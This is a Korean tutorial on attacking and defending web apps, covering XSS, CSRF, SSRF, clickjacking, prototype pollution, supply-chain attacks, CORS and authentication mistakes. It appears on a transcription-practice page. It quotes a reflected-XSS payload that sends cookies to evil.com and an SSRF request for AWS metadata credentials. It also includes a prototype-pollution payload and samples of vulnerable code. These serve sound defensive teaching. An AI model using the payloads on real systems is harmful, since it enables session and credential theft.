Skip to content

필사 모드: 웹 보안 공격·방어 실전 — XSS, CSRF, SSRF, Clickjacking, Prototype Pollution, Supply Chain, CORS 완전 가이드 (2025)

한국어
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.
원문 렌더가 준비되기 전까지 텍스트 가이드로 표시합니다.

왜 '공격 기술' 글이 필요한가

개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 **자기 코드 어디에 있는지** 모른다. 보안은 이론이 아니다. **구체적인 공격 기법과, 구체적인 방어 코드**로 배워야 한다.

- 2024년 CVE 등록 수: **사상 최고치 경신**, 28,000건 이상.

- npm 공격이 GitHub Dependabot으로 30% 감소했으나, 여전히 주간 수백 건.

- AI 생성 코드는 평균 40% 더 높은 취약점 밀도(Stanford 2024).

**2025년에도 당신의 앱이 해킹당하는 방식은 대부분 여기에 나온 10가지 중 하나**다.

Part 1 — XSS (Cross-Site Scripting)

3종류

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

서버가 `q`를 그대로 HTML에 삽입. URL 한 번 클릭으로 탈취.

2. Stored XSS

댓글, 프로필 같은 영구 저장소에 악성 스크립트 저장. **최악** — 방문자 전체가 영향.

3. DOM-based XSS

서버는 멀쩡. 클라이언트 JS가 `location.hash`나 `postMessage`를 무검증으로 DOM에 삽입.

// 나쁨

document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

방어 계층

1. 출력 이스케이핑 (기본)

- React, Vue, Svelte는 **기본적으로 이스케이프**.

- 단, `dangerouslySetInnerHTML`, `v-html`, `{@html}` 사용 시 뚫림.

- 사용자가 HTML을 제공해야 한다면 **DOMPurify**로 sanitize.

element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

**가장 강력한 XSS 방어.**

Content-Security-Policy:

default-src 'self';

script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';

style-src 'self' 'unsafe-inline';

img-src 'self' https: data:;

object-src 'none';

base-uri 'self';

frame-ancestors 'none';

upgrade-insecure-requests;

- **nonce**: 서버가 응답마다 랜덤 값 생성, `<script nonce="...">`에 포함.

- **strict-dynamic**: 신뢰된 스크립트가 로드한 스크립트도 실행 허용.

- **'unsafe-inline' 절대 X** — 90%의 CSP 우회가 여기서 시작.

3. Trusted Types (Chrome 83+, Firefox/Safari 미지원 → polyfill)

"**위험한 sink(innerHTML 등)에 문자열 직접 할당 금지.**"

Content-Security-Policy: require-trusted-types-for 'script'

const policy = trustedTypes.createPolicy('my-policy', {

createHTML: (input) => DOMPurify.sanitize(input)

});

element.innerHTML = policy.createHTML(userInput);

Google에서 의무화 후 자사 앱 XSS 리포트가 급감.

4. 프레임워크 안전한 API

- React: `dangerouslySetInnerHTML` 대신 일반 children.

- Vue: `v-html` 대신 `{{ }}`.

- Angular: `[innerHTML]` + `DomSanitizer`.

Part 2 — CSRF (Cross-Site Request Forgery)

원리

공격자 사이트가 `<form action="https://bank.com/transfer" method="POST">`를 자동 제출. 피해자의 쿠키가 자동 전송되어 요청 성공.

2020년 이전 방어: CSRF Token

- 서버가 토큰 발급 → form hidden field에 포함 → 검증.

- Django, Rails가 기본 내장.

2020년 이후: SameSite Cookie

Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/

- **Lax (2020년 Chrome 기본)**: top-level navigation GET만 허용.

- **Strict**: 크로스 사이트에선 절대 안 보냄.

- **None**: 무관(`Secure` 필수).

**대부분의 CSRF가 SameSite Lax로 자동 방어됨.** 단, 다음 케이스는 여전히 토큰 필요:

- GET 요청이 상태를 변경하는 경우(RESTful 위반).

- 서브도메인 간 요청.

- CORS로 열어둔 POST 엔드포인트.

Double Submit Cookie

서버 세션 없이 CSRF 방어. 쿠키와 요청 헤더에 같은 토큰을 보내 검증. **SPA + 토큰 인증**에 자주 쓴다.

Part 3 — SSRF (Server-Side Request Forgery)

2019 Capital One 사건

공격자(Paige Thompson)가 AWS EC2 메타데이터(`169.254.169.254`)에 **서버 측에서 요청**하도록 유도, IAM 자격증명 탈취 → S3 버킷 1억 명 데이터 유출.

공격 패턴

서버 코드

@app.route('/fetch')

def fetch():

url = request.args.get('url')

return requests.get(url).text

공격: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

방어

1. **IMDSv2 사용 (AWS)** — 토큰 기반, GET에서 세션 필요.

MetadataOptions:

HttpTokens: required

HttpPutResponseHopLimit: 1

2. **URL 검증** — 스킴·호스트·포트·DNS resolve 후 IP 검증.

- 사설 IP 대역 차단(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).

- DNS Rebinding 방어 — 검증 후 실제 요청 직전에 재검증.

3. **네트워크 분리** — SSRF 위험 코드는 메타데이터에 접근 못 하는 VPC/서브넷에 배치.

4. **아웃바운드 프록시** — 허용 목록 기반 강제 프록시 경유.

5. **Fetch 라이브러리의 `redirect: 'manual'`** — 리다이렉트로 내부 접근 우회 방지.

추가 포인트: 0.0.0.0, IPv6, 단축 URL

- `http://0.0.0.0/` → 로컬 바인드 주소로 해석.

- `http://[::1]/` → IPv6 루프백.

- `http://bit.ly/...` → 리다이렉트로 내부 대상.

Part 4 — Clickjacking

원리

공격자 사이트가 피해 사이트를 `<iframe>`으로 **투명하게 덮어씌우고** 사용자의 클릭을 가로챔.

방어

X-Frame-Options: DENY

또는

Content-Security-Policy: frame-ancestors 'none'

`frame-ancestors`가 더 강력하고 유연(여러 도메인 허용 가능). `X-Frame-Options`는 레거시지만 여전히 추가하는 게 안전.

**사용자 관점 방어:** 중요한 액션(결제, 비밀번호 변경)엔 **재인증** 또는 **추가 확인** 단계.

Part 5 — Prototype Pollution

원리 (Node.js / 브라우저 JS 공통)

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');

Object.assign({}, payload);

// 이후 모든 객체가 isAdmin: true를 가짐

({}).isAdmin // true

실제 CVE

- **Lodash** (2019, `_.merge`) — 수백만 앱 영향.

- **jQuery** `$.extend(true, ...)`.

- **minimist** (2020) — 수많은 CLI 도구 영향.

방어

1. **재귀 merge 시 `__proto__`, `constructor`, `prototype` 필터링.**

2. **Object.freeze(Object.prototype)** — 가능하면 앱 시작 시.

3. **Map 사용** — 임의 키를 저장할 땐 plain object 대신 Map.

4. **`Object.create(null)`** — 프로토타입 없는 객체.

function safeMerge(target, source) {

for (const key in source) {

if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;

target[key] = source[key];

}

}

Part 6 — Supply Chain 공격

대표 사건

event-stream (2018)

npm 주간 2M 다운로드 패키지에 악성 코드 삽입. Copay 암호화폐 지갑이 표적. 피해자 지갑의 BTC 탈취 시도.

ua-parser-js (2021)

주간 6M 다운로드. 공격자가 유지보수자 계정 탈취 후 악성 버전 배포.

xz-utils (2024)

거의 **모든 리눅스**에 포함되는 압축 라이브러리. "Jia Tan"이 2년에 걸쳐 유지보수자 자격 획득 후 OpenSSH 백도어 삽입. Microsoft 엔지니어 Andres Freund가 우연히 발견.

SolarWinds (2020)

**빌드 파이프라인** 자체가 침투당함. 악성 코드가 서명된 업데이트에 포함되어 18,000 고객에 배포.

방어

1. **Lock 파일 커밋** — `package-lock.json`, `pnpm-lock.yaml`.

2. **`npm ci`** — CI에서 lock 준수.

3. **자동 의존성 업데이트 + 검토** — Dependabot / Renovate.

4. **취약점 스캐너** — Snyk, GitHub Advisory, `npm audit`.

5. **SBOM 생성** — Syft로 구성요소 목록화.

6. **서명 검증** — npm 2023+ provenance, Sigstore/cosign.

7. **OSSF Scorecard** — 패키지 보안 점수 확인.

8. **Least-privilege CI** — 빌드 서버가 필요 이상 권한을 안 갖게.

Typosquatting

`rquest` (실제는 `request`), `lodas` (실제는 `lodash`) — 오타를 노린 악성 패키지. **정식 이름 복사** 버릇을 들이자.

Part 7 — CORS 완전 이해

많은 개발자의 오해

"CORS를 풀면 보안이 풀린다." **틀렸다.** CORS는 **보안 기능이 아니라 같은 출처 정책(SOP)의 예외 허용 메커니즘**이다. SOP가 기본 방패이고, CORS는 그 방패에 구멍을 뚫는 도구.

기본 규칙

브라우저가 크로스 오리진 요청을 보낼 때:

- **단순 요청**: GET/HEAD/POST + 특정 Content-Type → 바로 전송, 응답에 `Access-Control-Allow-Origin` 있으면 읽기 허용.

- **사전 요청(preflight)**: PUT/DELETE/커스텀 헤더/JSON POST → 먼저 OPTIONS 요청으로 확인.

흔한 실수

1. `Access-Control-Allow-Origin: *` + `Allow-Credentials: true`

브라우저가 거부. 와일드카드면 자격증명 포함 불가. **반드시 특정 오리진 echo**.

// 나쁨

res.setHeader('Access-Control-Allow-Origin', '*');

res.setHeader('Access-Control-Allow-Credentials', 'true');

// 좋음 (허용 목록 체크 후)

if (allowedOrigins.includes(origin)) {

res.setHeader('Access-Control-Allow-Origin', origin);

res.setHeader('Vary', 'Origin');

res.setHeader('Access-Control-Allow-Credentials', 'true');

}

2. `Origin`을 그대로 echo

정규식 체크 없이 echo하면 **어떤 사이트든 자격증명 읽기 가능** → 심각.

3. `Vary: Origin` 누락

캐시가 잘못된 응답을 다른 오리진에 서빙.

CORS와 보안의 관계

- CORS가 열려 있다고 **토큰이 유출되진 않는다** — HttpOnly 쿠키/Authorization 헤더는 여전히 안전.

- 단, **CSRF 방어가 SameSite+Origin 검증에 의존할 때**, CORS 설정 실수가 인증된 요청 허용을 만든다.

Part 8 — Rate Limiting & Bot Defense

왜 필요한가

- 로그인 brute force

- 등록 스팸

- 스크래핑으로 인한 비용 폭증

- AI 오버유저로 인한 API 남용

전략

1. **IP 기반 토큰 버킷** — Redis `INCR` + TTL이 흔한 구현.

2. **사용자/계정 기반** — 로그인 후는 IP보다 계정 단위.

3. **Sliding Window** — 정확하지만 비용 높음.

4. **CDN/Edge 단**에서 차단 — Cloudflare, Fastly, Vercel Firewall.

Bot Detection

- **Cloudflare Turnstile** (2022) — 사용자 경험 좋은 CAPTCHA 대체.

- **hCaptcha**, **Google reCAPTCHA v3**.

- **Arkose Labs** — 금융권 표준.

- **Device Fingerprinting** — FingerprintJS.

응답 정책

- 429 Too Many Requests + `Retry-After` 헤더.

- 침묵 실패보다 **명확한 에러**가 사용자·지원팀 모두에 이득.

- 공격자 대상엔 **지연 응답(tarpit)**으로 시간 낭비 유도.

Part 9 — 인증의 흔한 실수

1. JWT를 로컬스토리지에 저장

XSS 한 번에 탈취. **HttpOnly 쿠키**를 써라.

2. 비밀번호 해싱에 SHA-256

**Argon2id, bcrypt, scrypt**만. 일반 해시는 GPU로 초당 수억 번 역산.

3. 비밀번호 복구 토큰이 예측 가능

`btoa(email + Date.now())` 같은 실수. **암호학적 난수 + 짧은 TTL + 1회 사용**.

4. 이메일 열거(Enumeration)

"이 이메일은 가입되어 있지 않습니다" → 공격자가 회원 목록 수집. 응답을 **일관되게**.

5. 세션 고정(Session Fixation)

로그인 성공 시 세션 ID를 **반드시 회전**.

Part 10 — HTTPS와 인증서의 실수

HSTS 미설정

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

초기 HTTP 요청의 MITM 방어. `preload` 목록에 등록하면 첫 방문도 보호.

인증서 고정(Pinning)의 함정

모바일 앱에 공개키 고정. 인증서 갱신 시 **앱을 새로 배포 못 하면 전체 사용자 중단**. 서비스 사용자 수천만이면 고정하지 말라. CT(Certificate Transparency) 모니터링이 더 실용적.

Let's Encrypt + 자동 갱신

- 90일 인증서 → 자동 갱신 필수.

- 2024년 **ACME Renewal Info(ARI)**로 갱신 타이밍 지능화.

- **rustls-acme, lego, certbot, Caddy**(내장).

Part 11 — 실무 체크리스트 (12항목)

1. **CSP를 처음부터** — 런타임에 붙이면 항상 `unsafe-inline`이 남는다.

2. **SameSite=Lax 기본** — 예외 시만 None.

3. **HttpOnly + Secure** — 세션 쿠키는 자명.

4. **IMDSv2 강제** — AWS 사용 시 필수.

5. **URL fetch는 SSRF 프록시 경유** — 직접 `fetch(userUrl)` 금지.

6. **의존성은 lock 파일 + 자동 감사**.

7. **모든 외부 입력은 스키마 검증 (Zod 등)**.

8. **출력 sink는 sanitize** — innerHTML 할당 전 DOMPurify.

9. **비밀번호는 Argon2id** — 단, 기존 bcrypt도 괜찮음.

10. **Rate Limit + 로그인 실패 지수 지연**.

11. **시크릿은 Vault/Secrets Manager** — `.env` 파일 커밋 X.

12. **보안 헤더 모두 설정** — HSTS, CSP, XFO, XCTO, Referrer-Policy, Permissions-Policy.

Part 12 — 10대 안티패턴

1. **`innerHTML = userData`** — XSS 직행.

2. **`dangerouslySetInnerHTML` 남용** — sanitize 없이 사용.

3. **`Access-Control-Allow-Origin: *` + 자격증명**.

4. **URL fetch를 어떤 검증도 없이**.

5. **`eval`, `Function(string)`, `setTimeout(string)`**.

6. **JWT를 localStorage에** — XSS 한 번에 모든 것.

7. **비밀번호 재설정 토큰이 단순 숫자 / 시간 기반**.

8. **에러 메시지에 내부 정보 노출** — 스택 트레이스·쿼리·토큰.

9. **CAPTCHA 없이 무한 시도 허용**.

10. **"HTTPS니까 안전하다"** — 전송 보안은 기본. 인증·인가는 별개.

Part 13 — 학습 & 실습 리소스

- **책:** *The Web Application Hacker's Handbook* (Stuttard & Pinto) — 고전.

- **책:** *Real-World Bug Hunting* (Peter Yaworski) — HackerOne 실제 사례.

- **플랫폼:** PortSwigger Web Security Academy (무료).

- **대회/연습:** HackTheBox, TryHackMe.

- **도구:** Burp Suite, OWASP ZAP, Semgrep, CodeQL.

- **뉴스:** Krebs on Security, The Hacker News, GitHub Advisory DB.

- **에세이:** 매년 Snyk/Google의 보안 리포트 읽기.

마치며 — 보안은 '기본기'다

이 글의 공격들은 1998년부터 2024년까지 매년 반복되어 온 것들이다. 새 기술이 나와도 **기본기를 놓친 앱부터 먼저 뚫린다.**

2025년의 엔지니어에게 보안은 **"해커가 하는 특수 분야"**가 아니다. 매일의 코드 리뷰, 매일의 라이브러리 선택, 매일의 API 설계에 녹아 있는 **기본기**다.

좋은 소식: **이 글에 나온 방어법은 대부분 무료**다. CSP, SameSite, DOMPurify, Zod, Dependabot, Cloudflare Turnstile. 설정 한 줄, 라이브러리 하나로 수많은 공격을 무력화한다.

**나쁜 소식:** "다음 프로젝트엔 꼭 해야지"라고 미루는 것. 이미 배포된 앱이 지금 이 순간도 스캔당하고 있다.

다음 글 예고 — "실전 네트워크 엔지니어링" — TCP 혼잡 제어, TLS 1.3, HTTP/3 QUIC, DNS over HTTPS, BGP, CDN 내부까지

웹 보안이 '무엇을 막을까'였다면, 다음 글은 '어떻게 데이터가 오가는가'다.

- **TCP 혼잡 제어의 현대** — BBR, CUBIC, PRR

- **TLS 1.3의 혁명** — 1-RTT, 0-RTT, Post-Quantum

- **HTTP/3 + QUIC** — UDP 기반 재해석

- **DNS의 진화** — DoH, DoT, DNSSEC, ECS

- **BGP 하이재킹** — Facebook 2021년 6시간 장애의 진짜 원인

- **Anycast와 CDN 라우팅** — Cloudflare/Fastly/Akamai

- **WebSocket vs SSE vs WebTransport** — 실시간 통신의 선택

- **Zero RTT의 보안 위험** — replay attack

- **eBPF로 네트워크 관측**하기

- **프로토콜을 패킷 단위로 이해하기** — Wireshark 실전

"네트워크가 느려요"의 원인을 프로토콜 레이어로 내려가 찾는 법. 다음 글에서.

현재 단락 (1/193)

개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 **자기 코드 어디에 있는지** 모른다. 보안은 이론이 아니다. **구체적인 공격 기법과, 구체적인 방어 코드*...

작성 글자: 0원문 글자: 8,816작성 단락: 0/193